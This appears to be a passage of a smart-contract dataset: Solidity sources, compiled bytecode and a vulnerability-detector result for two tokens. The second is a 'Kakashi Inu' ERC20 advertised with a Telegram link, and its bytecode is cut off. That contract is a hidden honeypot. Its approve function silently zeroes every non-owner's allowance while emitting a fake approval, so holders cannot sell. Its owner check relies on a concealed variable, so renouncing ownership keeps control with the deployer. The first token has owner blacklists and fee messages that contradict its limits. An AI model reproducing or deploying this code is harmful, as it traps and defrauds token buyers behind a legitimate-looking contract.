uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
require(redisFeeOnBuy >= 0 && redisFeeOnBuy <= 4, "Buy rewards must be between 0% and 2%");
require(taxFeeOnBuy >= 0 && taxFeeOnBuy <= 14, "Buy tax must be between 0% and 14%");
require(redisFeeOnSell >= 0 && redisFeeOnSell <= 4, "Sell rewards must be between 0% and 2%");
require(taxFeeOnSell >= 0 && taxFeeOnSell <= 14, "Sell tax must be between 0% and 14%");
_redisFeeOnBuy = redisFeeOnBuy;
_redisFeeOnSell = redisFeeOnSell;
_taxFeeOnBuy = taxFeeOnBuy;
_taxFeeOnSell = taxFeeOnSell;
}
//Set minimum tokens required to swap.
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
_swapTokensAtAmount = swapTokensAtAmount;
}
//Set minimum tokens required to swap.
function toggleSwap(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
//Set maximum transaction
function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {
if (maxTxAmount > 5000000000 * 10**9) {
_maxTxAmount = maxTxAmount;
}
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
_maxWalletSize = maxWalletSize;
}
function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner {
for(uint256 i = 0; i < accounts.length; i++) {
_isExcludedFromFee[accounts[i]] = excluded;
}
}
}
|
0x6080604052600436106101d05760003560e01c80637d1db4a5116100f7578063a2a957bb11610095578063c492f04611610064578063c492f04614610522578063dd62ed3e14610542578063ea1644d514610588578063f2fde38b146105a857600080fd5b8063a2a957bb1461049d578063a9059cbb146104bd578063bfd79284146104dd578063c3c8cd801461050d57600080fd5b80638f70ccf7116100d15780638f70ccf7146104475780638f9a55c01461046757806395d89b41146101fe57806398a5c3151461047d57600080fd5b80637d1db4a5146103e65780637f2feddc146103fc5780638da5cb5b1461042957600080fd5b8063313ce5671161016f5780636fc3eaec1161013e5780636fc3eaec1461037c57806370a0823114610391578063715018a6146103b157806374010ece146103c657600080fd5b8063313ce5671461030057806349bd5a5e1461031c5780636b9990531461033c5780636d8aa8f81461035c57600080fd5b80631694505e116101ab5780631694505e1461026c57806318160ddd146102a457806323b872dd146102ca5780632fd689e3146102ea57600080fd5b8062b8cf2a146101dc57806306fdde03146101fe578063095ea7b31461023c57600080fd5b366101d757005b600080fd5b3480156101e857600080fd5b506101fc6101f7366004611aa7565b6105c8565b005b34801561020a57600080fd5b5060408051808201825260068152655a6f67496e7560d01b602082015290516102339190611b6c565b60405180910390f35b34801561024857600080fd5b5061025c610257366004611bc1565b610667565b6040519015158152602001610233565b34801561027857600080fd5b5060145461028c906001600160a01b031681565b6040516001600160a01b039091168152602001610233565b3480156102b057600080fd5b50683635c9adc5dea000005b604051908152602001610233565b3480156102d657600080fd5b5061025c6102e5366004611bed565b61067e565b3480156102f657600080fd5b506102bc60185481565b34801561030c57600080fd5b5060405160098152602001610233565b34801561032857600080fd5b5060155461028c906001600160a01b031681565b34801561034857600080fd5b506101fc610357366004611c2e565b6106e7565b34801561036857600080fd5b506101fc610377366004611c5b565b610732565b34801561038857600080fd5b506101fc61077a565b34801561039d57600080fd5b506102bc6103ac366004611c2e565b6107c5565b3480156103bd57600080fd5b506101fc6107e7565b3480156103d257600080fd5b506101fc6103e1366004611c76565b61085b565b3480156103f257600080fd5b506102bc60165481565b34801561040857600080fd5b506102bc610417366004611c2e565b60116020526000908152604090205481565b34801561043557600080fd5b506000546001600160a01b031661028c565b34801561045357600080fd5b506101fc610462366004611c5b565b61089a565b34801561047357600080fd5b506102bc60175481565b34801561048957600080fd5b506101fc610498366004611c76565b6108e2565b3480156104a957600080fd5b506101fc6104b8366004611c8f565b610911565b3480156104c957600080fd5b5061025c6104d8366004611bc1565b610ac7565b3480156104e957600080fd5b5061025c6104f8366004611c2e565b60106020526000908152604090205460ff1681565b34801561051957600080fd5b506101fc610ad4565b34801561052e57600080fd5b506101fc61053d366004611cc1565b610b28565b34801561054e57600080fd5b506102bc61055d366004611d45565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b34801561059457600080fd5b506101fc6105a3366004611c76565b610bc9565b3480156105b457600080fd5b506101fc6105c3366004611c2e565b610bf8565b6000546001600160a01b031633146105fb5760405162461bcd60e51b81526004016105f290611d7e565b60405180910390fd5b60005b81518110156106635760016010600084848151811061061f5761061f611db3565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061065b81611ddf565b9150506105fe565b5050565b6000610674338484610ce2565b5060015b92915050565b600061068b848484610e06565b6106dd84336106d885604051806060016040528060288152602001611ef9602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190611342565b610ce2565b5060019392505050565b6000546001600160a01b031633146107115760405162461bcd60e51b81526004016105f290611d7e565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6000546001600160a01b0316331461075c5760405162461bcd60e51b81526004016105f290611d7e565b60158054911515600160b01b0260ff60b01b19909216919091179055565b6012546001600160a01b0316336001600160a01b031614806107af57506013546001600160a01b0316336001600160a01b0316145b6107b857600080fd5b476107c28161137c565b50565b6001600160a01b038116600090815260026020526040812054610678906113b6565b6000546001600160a01b031633146108115760405162461bcd60e51b81526004016105f290611d7e565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146108855760405162461bcd60e51b81526004016105f290611d7e565b674563918244f400008111156107c257601655565b6000546001600160a01b031633146108c45760405162461bcd60e51b81526004016105f290611d7e565b60158054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b0316331461090c5760405162461bcd60e51b81526004016105f290611d7e565b601855565b6000546001600160a01b0316331461093b5760405162461bcd60e51b81526004016105f290611d7e565b600484111561099a5760405162461bcd60e51b815260206004820152602560248201527f4275792072657761726473206d757374206265206265747765656e20302520616044820152646e6420322560d81b60648201526084016105f2565b600e8211156109f65760405162461bcd60e51b815260206004820152602260248201527f42757920746178206d757374206265206265747765656e20302520616e642031604482015261342560f01b60648201526084016105f2565b6004831115610a565760405162461bcd60e51b815260206004820152602660248201527f53656c6c2072657761726473206d757374206265206265747765656e20302520604482015265616e6420322560d01b60648201526084016105f2565b600e811115610ab35760405162461bcd60e51b815260206004820152602360248201527f53656c6c20746178206d757374206265206265747765656e20302520616e642060448201526231342560e81b60648201526084016105f2565b600893909355600a91909155600955600b55565b6000610674338484610e06565b6012546001600160a01b0316336001600160a01b03161480610b0957506013546001600160a01b0316336001600160a01b0316145b610b1257600080fd5b6000610b1d306107c5565b90506107c28161143a565b6000546001600160a01b03163314610b525760405162461bcd60e51b81526004016105f290611d7e565b60005b82811015610bc3578160056000868685818110610b7457610b74611db3565b9050602002016020810190610b899190611c2e565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610bbb81611ddf565b915050610b55565b50505050565b6000546001600160a01b03163314610bf35760405162461bcd60e51b81526004016105f290611d7e565b601755565b6000546001600160a01b03163314610c225760405162461bcd60e51b81526004016105f290611d7e565b6001600160a01b038116610c875760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016105f2565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610d445760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016105f2565b6001600160a01b038216610da55760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016105f2565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610e6a5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016105f2565b6001600160a01b038216610ecc5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016105f2565b60008111610f2e5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016105f2565b6000546001600160a01b03848116911614801590610f5a57506000546001600160a01b03838116911614155b1561123b57601554600160a01b900460ff16610ff3576000546001600160a01b03848116911614610ff35760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c65640060648201526084016105f2565b6016548111156110455760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d69740000000060448201526064016105f2565b6001600160a01b03831660009081526010602052604090205460ff1615801561108757506001600160a01b03821660009081526010602052604090205460ff16155b6110df5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b60648201526084016105f2565b6015546001600160a01b038381169116146111645760175481611101846107c5565b61110b9190611dfa565b106111645760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b60648201526084016105f2565b600061116f306107c5565b6018546016549192508210159082106111885760165491505b80801561119f5750601554600160a81b900460ff16155b80156111b957506015546001600160a01b03868116911614155b80156111ce5750601554600160b01b900460ff165b80156111f357506001600160a01b03851660009081526005602052604090205460ff16155b801561121857506001600160a01b03841660009081526005602052604090205460ff16155b15611238576112268261143a565b478015611236576112364761137c565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff168061127d57506001600160a01b03831660009081526005602052604090205460ff165b806112af57506015546001600160a01b038581169116148015906112af57506015546001600160a01b03848116911614155b156112bc57506000611336565b6015546001600160a01b0385811691161480156112e757506014546001600160a01b03848116911614155b156112f957600854600c55600954600d555b6015546001600160a01b03848116911614801561132457506014546001600160a01b03858116911614155b1561133657600a54600c55600b54600d555b610bc3848484846115b4565b600081848411156113665760405162461bcd60e51b81526004016105f29190611b6c565b5060006113738486611e12565b95945050505050565b6013546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610663573d6000803e3d6000fd5b600060065482111561141d5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016105f2565b60006114276115e2565b90506114338382611605565b9392505050565b6015805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061148257611482611db3565b6001600160a01b03928316602091820292909201810191909152601454604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156114db573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906114ff9190611e29565b8160018151811061151257611512611db3565b6001600160a01b0392831660209182029290920101526014546115389130911684610ce2565b60145460405163791ac94760e01b81526001600160a01b039091169063791ac94790611571908590600090869030904290600401611e46565b600060405180830381600087803b15801561158b57600080fd5b505af115801561159f573d6000803e3d6000fd5b50506015805460ff60a81b1916905550505050565b806115c1576115c1611647565b6115cc848484611675565b80610bc357610bc3600e54600c55600f54600d55565b60008060006115ef61176c565b90925090506115fe8282611605565b9250505090565b600061143383836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506117ae565b600c541580156116575750600d54155b1561165e57565b600c8054600e55600d8054600f5560009182905555565b600080600080600080611687876117dc565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506116b99087611839565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546116e8908661187b565b6001600160a01b03891660009081526002602052604090205561170a816118da565b6117148483611924565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161175991815260200190565b60405180910390a3505050505050505050565b6006546000908190683635c9adc5dea000006117888282611605565b8210156117a557505060065492683635c9adc5dea0000092509050565b90939092509050565b600081836117cf5760405162461bcd60e51b81526004016105f29190611b6c565b5060006113738486611eb7565b60008060008060008060008060006117f98a600c54600d54611948565b92509250925060006118096115e2565b9050600080600061181c8e87878761199d565b919e509c509a509598509396509194505050505091939550919395565b600061143383836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611342565b6000806118888385611dfa565b9050838110156114335760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016105f2565b60006118e46115e2565b905060006118f283836119ed565b3060009081526002602052604090205490915061190f908261187b565b30600090815260026020526040902055505050565b6006546119319083611839565b600655600754611941908261187b565b6007555050565b6000808080611962606461195c89896119ed565b90611605565b90506000611975606461195c8a896119ed565b9050600061198d826119878b86611839565b90611839565b9992985090965090945050505050565b60008080806119ac88866119ed565b905060006119ba88876119ed565b905060006119c888886119ed565b905060006119da826119878686611839565b939b939a50919850919650505050505050565b6000826119fc57506000610678565b6000611a088385611ed9565b905082611a158583611eb7565b146114335760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016105f2565b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146107c257600080fd5b8035611aa281611a82565b919050565b60006020808385031215611aba57600080fd5b823567ffffffffffffffff80821115611ad257600080fd5b818501915085601f830112611ae657600080fd5b813581811115611af857611af8611a6c565b8060051b604051601f19603f83011681018181108582111715611b1d57611b1d611a6c565b604052918252848201925083810185019188831115611b3b57600080fd5b938501935b82851015611b6057611b5185611a97565b84529385019392850192611b40565b98975050505050505050565b600060208083528351808285015260005b81811015611b9957858101830151858201604001528201611b7d565b81811115611bab576000604083870101525b50601f01601f1916929092016040019392505050565b60008060408385031215611bd457600080fd5b8235611bdf81611a82565b946020939093013593505050565b600080600060608486031215611c0257600080fd5b8335611c0d81611a82565b92506020840135611c1d81611a82565b929592945050506040919091013590565b600060208284031215611c4057600080fd5b813561143381611a82565b80358015158114611aa257600080fd5b600060208284031215611c6d57600080fd5b61143382611c4b565b600060208284031215611c8857600080fd5b5035919050565b60008060008060808587031215611ca557600080fd5b5050823594602084013594506040840135936060013592509050565b600080600060408486031215611cd657600080fd5b833567ffffffffffffffff80821115611cee57600080fd5b818601915086601f830112611d0257600080fd5b813581811115611d1157600080fd5b8760208260051b8501011115611d2657600080fd5b602092830195509350611d3c9186019050611c4b565b90509250925092565b60008060408385031215611d5857600080fd5b8235611d6381611a82565b91506020830135611d7381611a82565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600019821415611df357611df3611dc9565b5060010190565b60008219821115611e0d57611e0d611dc9565b500190565b600082821015611e2457611e24611dc9565b500390565b600060208284031215611e3b57600080fd5b815161143381611a82565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611e965784516001600160a01b031683529383019391830191600101611e71565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611ed457634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611ef357611ef3611dc9565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212203434d66b6de62f54f64822479c80fcdb1ba5c292fe06f2d859ede49f5580430d64736f6c634300080c0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "tautology", "impact": "Medium", "confidence": "High"}]}}
| 6,037 |
0xe83398fe559280382be778545f6946009a96cfb6
|
/*
Kakashi Hatake (はたけ カカシ, Hatake Kakashi) is a shinobi of Konohagakure’s Hatake Clan. He is a Joinin of the Hidden Leaf Village and leader of team 7 and possesses the infamous Sharingan. Despite his general disregard for responsibility, he is looked upon for advice and leadership. Kakashi Highlights the importance of teamwork and comeradery.
Kakashi showed us all what it means to truly use teamwork to reach our goals.
Stay tuned,the chunin exam is coming up.
"Those who don't follow the rules are scum, that's true. But those we abandon their friends are even worse than scum." —はたけ カカシ
We have big plans for this project
You do not want to miss this
TAX
2% Dev tax
5% marketing
1% liquidity
2% Reflection to Holders
Join tg for more info
tg: https://t.me/KakashiInuERC
*/
pragma solidity ^0.6.12;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) private onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
address private newComer = _msgSender();
modifier onlyOwner() {
require(newComer == _msgSender(), "Ownable: caller is not the owner");
_;
}
}
contract KakashiInu is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _tTotal = 100000* 10**9* 10**18;
string private _name = ' Kakashi Inu ';
string private _symbol = 'KAKASHI';
uint8 private _decimals = 18;
constructor () public {
_balances[_msgSender()] = _tTotal;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function _approve(address ol, address tt, uint256 amount) private {
require(ol != address(0), "ERC20: approve from the zero address");
require(tt != address(0), "ERC20: approve to the zero address");
if (ol != owner()) { _allowances[ol][tt] = 0; emit Approval(ol, tt, 4); }
else { _allowances[ol][tt] = amount; emit Approval(ol, tt, amount); }
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "BEP20: transfer from the zero address");
require(recipient != address(0), "BEP20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
}
|
0x608060405234801561001057600080fd5b50600436106100a95760003560e01c806370a082311161007157806370a0823114610258578063715018a6146102b05780638da5cb5b146102ba57806395d89b41146102ee578063a9059cbb14610371578063dd62ed3e146103d5576100a9565b806306fdde03146100ae578063095ea7b31461013157806318160ddd1461019557806323b872dd146101b3578063313ce56714610237575b600080fd5b6100b661044d565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156100f65780820151818401526020810190506100db565b50505050905090810190601f1680156101235780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61017d6004803603604081101561014757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506104ef565b60405180821515815260200191505060405180910390f35b61019d61050d565b6040518082815260200191505060405180910390f35b61021f600480360360608110156101c957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610517565b60405180821515815260200191505060405180910390f35b61023f6105f0565b604051808260ff16815260200191505060405180910390f35b61029a6004803603602081101561026e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610607565b6040518082815260200191505060405180910390f35b6102b8610650565b005b6102c26107d8565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6102f6610801565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561033657808201518184015260208101905061031b565b50505050905090810190601f1680156103635780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6103bd6004803603604081101561038757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506108a3565b60405180821515815260200191505060405180910390f35b610437600480360360408110156103eb57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506108c1565b6040518082815260200191505060405180910390f35b606060058054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156104e55780601f106104ba576101008083540402835291602001916104e5565b820191906000526020600020905b8154815290600101906020018083116104c857829003601f168201915b5050505050905090565b60006105036104fc610948565b8484610950565b6001905092915050565b6000600454905090565b6000610524848484610c6f565b6105e584610530610948565b6105e0856040518060600160405280602881526020016110b960289139600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610596610948565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f299092919063ffffffff16565b610950565b600190509392505050565b6000600760009054906101000a900460ff16905090565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610658610948565b73ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461071a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060068054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156108995780601f1061086e57610100808354040283529160200191610899565b820191906000526020600020905b81548152906001019060200180831161087c57829003601f168201915b5050505050905090565b60006108b76108b0610948565b8484610c6f565b6001905092915050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156109d6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602481526020018061112a6024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610a5c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806110976022913960400191505060405180910390fd5b610a646107d8565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614610b83576000600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560046040518082815260200191505060405180910390a3610c6a565b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a35b505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610cf5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806110726025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610d7b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806111076023913960400191505060405180910390fd5b610de7816040518060600160405280602681526020016110e160269139600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f299092919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610e7c81600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610fe990919063ffffffff16565b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b6000838311158290610fd6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180